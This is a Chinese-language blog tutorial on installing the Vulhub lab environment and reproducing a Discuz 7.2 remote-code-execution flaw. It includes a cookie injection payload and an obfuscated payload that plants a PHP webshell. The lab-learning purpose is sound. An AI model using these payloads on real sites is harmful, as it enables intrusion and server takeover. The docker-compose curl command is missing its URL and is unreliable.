官方網站給出的定義是:Vulhub是一個基於docker和docker-compose的漏洞環境集合,進入對應目錄並執行一條語句即可啟動一個全新的漏洞環境,讓漏洞復現變得更加簡單,讓安全研究者更加專注於漏洞原理本身。當你使用了這個靶場後你會發現真的是開箱即用,包括安全方面的培訓,你的關注點不再是如何重現漏洞,更多的精力可以放在研究上面了。
更新阿里源並升級系統
mv /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo.backup#備份
wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo#下載阿里源
yum clean all#清理緩存
yum makecache#生成緩存
yum update#升級軟件
安裝 Docker Engine-Community
使用 Docker 倉庫進行安裝
在新主機上首次安裝 Docker Engine-Community 之前,需要設置 Docker 倉庫。之後,您可以從倉庫安裝和更新 Docker。
設置倉庫
安裝所需的軟件包。yum-utils 提供了 yum-config-manager ,並且 device mapper 存儲驅動程序需要 device-mapper-persistent-data 和 lvm2。
$ sudo yum install -y yum-utils \\ device-mapper-persistent-data \\ lvm2
使用以下命令來設置穩定的倉庫。
$ sudo yum-config-manager \\ --add-repo \\ https://download.docker.com/linux/centos/docker-ce.repo
可以查看所有倉庫中所有docker版本,並選擇特定版本安裝 1、 yum list docker-ce --showduplicates | sort –r
docker-ce.x86_64 3:18.09.1-3.el7 docker-ce-stabledocker-ce.x86_64 3:18.09.0-3.el7 docker-ce-stabledocker-ce.x86_64 18.06.1.ce-3.el7 docker-ce-stabledocker-ce.x86_64 18.06.0.ce-3.el7 docker-ce-stable
通過其完整的軟件包名稱安裝特定版本,該軟件包名稱是軟件包名稱(docker-ce)加上版本字符串(第二列),從第一個冒號(:)一直到第一個連字符,並用連字符(-)分隔。例如:docker-ce-18.09.1。
$ sudo yum install docker-ce-<version> docker-ce-cli-<version> containerd.io/<version>/<version>
啟動 Docker。
$ sudo systemctl start docker
安裝Docker-Compose
curl -L `uname -s`-`uname -m` > /usr/local/bin/docker-compose
chmod +x /usr/local/bin/docker-compose
下載vulhub
git clone https://github.com/vulhub/vulhub.git
靶場使用
選擇漏洞環境,在Vulhub中選擇某個環境,cd進入對應目錄
$ cd vulhub/discuz/wooyun-2010-080723/
可選。可以通過vi編輯其中的docker-compose.yml,修改端口和賬號密碼
$ vi docker-compose.yml
啟動環境:
$ docker-compose up -d # 啟動環境
$ docker-compose down # 關閉環境,需要在該環境目錄下執行
可選。編譯環境。啟動環境後,會自動查找當前目錄下的配置文件。
如果配置文件中包含的環境均已經存在,則不會再次編譯,反之則會自動進行編譯。所以,其實docker-compose up -d命令是包含了docker-compose build的。
但是如果更新了配置文件,則需要手工來重新編譯靶場環境。
$ docker-compose build
物理機訪問容器
經過上面的配置,已經可以在虛擬機Centos7中使用瀏覽器訪問對應的漏洞環境。但此時物理機是無法通過瀏覽器訪問漏洞環境的,需要手動配置靜態路由,將通往Docker的數據包交給虛擬機192.168.1.13來轉發
先查看一下Docker容器的IP
$ docker ps # 查看運行服務端口
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
a4eed382479c vulhub/discuz:7.2 "docker-php-entrypoi…" About a minute ago Up About a minute 0.0.0.0:8080->80/tcp wooyun-2010-080723_discuz_1
15b46d6919a9 mysql:5.5 "docker-entrypoint.s…" About a minute ago Up About a minute 3306/tcp wooyun-2010-080723_db_1
$ docker inspect [容器ID] | grep IPAddress # [容器ID]為漏洞環境所在容器,此處為a4eed382479c
# "IPAddress": "172.18.0.3"
先關閉虛擬機防火牆
$ systemctl stop firewalld.service
物理機使用管理員模式打開CMD
$ route add -p 172.18.0.0 mask 255.255.0.0 192.168.1.13 # -p 永久路由,重啟系統路由仍有效
$ route print # 打印當前路由表
================================================================
永久路由:
網絡地址 網絡掩碼 網關地址 躍點數
172.18.0.0 255.255.0.0 192.168.1.13 1
================================================================
啟動環境
選擇漏洞環境。首先在Vulhub中選擇靶場環境,cd進入對應目錄
$ cd vulhub/discuz/wooyun-2010-080723/
修改端口和賬號密碼(可選)。可以通過vi編輯其中的docker-compose.yml來進行修改
$ vi docker-compose.yml
啟動環境
$ docker-compose up -d # 啟動環境
# Starting wooyun-2010-080723_db_1 ... done
# Starting wooyun-2010-080723_discuz_1 ... done
查看靶機運行端口
# 主要看容器ID和端口,然後通過容器ID查看IP
$ docker ps # 查看運行服務端口
================================================
CONTAINER ID IMAGE PORTS
a4eed382479c vulhub/discuz:7.2 0.0.0.0:8080->80/tcp
================================================
$ docker inspect [容器ID] | grep IPAddress # [容器ID]為漏洞環境所在容器,此處為a4eed382479c
# "IPAddress": "172.18.0.3"
復現步驟
瀏覽器訪問http://[IP]:[Port]/install/,安裝數據庫。數據庫服務器填寫db,數據庫名為discuz,數據庫賬號密碼均為root,管理員密碼任意。填寫聯繫方式頁面直接點擊跳過本步後跳轉到首頁
登錄成功後進入默認板塊,開啟Burp抓包,然後隨便點擊一篇貼子
將Cookie修改為下面,點擊放包
# EXP
Cookie: GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
=====================================================================================
# 此時完整的報文如下:
GET /viewthread.php?tid=13&extra=page%3D1 HTTP/1.1
Host: 172.18.0.3
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://172.18.0.3/forumdisplay.php?fid=2
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
Connection: close
=====================================================================================
此時可以看到phpinfo()被執行
前臺GetShell
同樣方法傳入以下Cookie寫入一句話木馬文件,文件為x.php,密碼為pwd
# EXP
Cookie: GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=eval(Chr(102).Chr(112).Chr(117).Chr(116).Chr(115).Chr(40).Chr(102).Chr(111).Chr(112).Chr(101).Chr(110).Chr(40).Chr(39).Chr(120).Chr(46).Chr(112).Chr(104).Chr(112).Chr(39).Chr(44).Chr(39).Chr(119).Chr(39).Chr(41).Chr(44).Chr(39).Chr(60).Chr(63).Chr(112).Chr(104).Chr(112).Chr(32).Chr(64).Chr(101).Chr(118).Chr(97).Chr(108).Chr(40).Chr(36).Chr(95).Chr(80).Chr(79).Chr(83).Chr(84).Chr(91).Chr(112).Chr(119).Chr(100).Chr(93).Chr(41).Chr(63).Chr(62).Chr(39).Chr(41).Chr(59))
訪問http://[IP]:[Port]/x.php,POST數據測試成功,且使用蟻劍連接也成功
其它
復現完之後可以通過以下命令關閉環境,但注意此命令需要在對應環境目錄下執行
$ docker-compose down
# Stopping wooyun-2010-080723_discuz_1 ... done
# Stopping wooyun-2010-080723_db_1 ... done
# Removing wooyun-2010-080723_discuz_1 ... done
# Removing network wooyun-2010-080723_default
檢查是否關閉
$ docker ps
上述內容不知道大家學習到了嗎?網絡世界的安全漏洞每天都會出現,安全知識和安全意識每個公民都應該瞭解和學習,有想學習網絡安全技能的小夥伴可以隨時私信我哦!
閱讀更多 安界 的文章